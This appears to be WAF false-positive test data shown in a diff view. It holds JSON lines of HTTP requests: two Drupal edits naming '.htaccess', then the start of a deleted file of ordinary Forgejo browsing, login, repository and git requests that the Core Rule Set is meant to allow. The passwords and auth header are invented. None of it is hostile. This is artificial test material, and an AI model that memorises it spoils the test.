{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-FvjNNJPW2G39UepkPOrBE4XhDxW0VM0tCaSOvishHlc&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254833&form_build_id=form-oGR9MfKKuJplXwsXerWc-4BgBTZ2hybTAhoNrJy-MYE&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
-683
View File
@@ -1,683 +0,0 @@
# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
# signed out, signed in and on the admin pages, by git over HTTP, by curl on
# the API and the generic package registry, and by crane on the container
# registry. Each line is one request as JSON. Names, addresses and passwords
# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
# multipart part that is not text is written as base64.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAq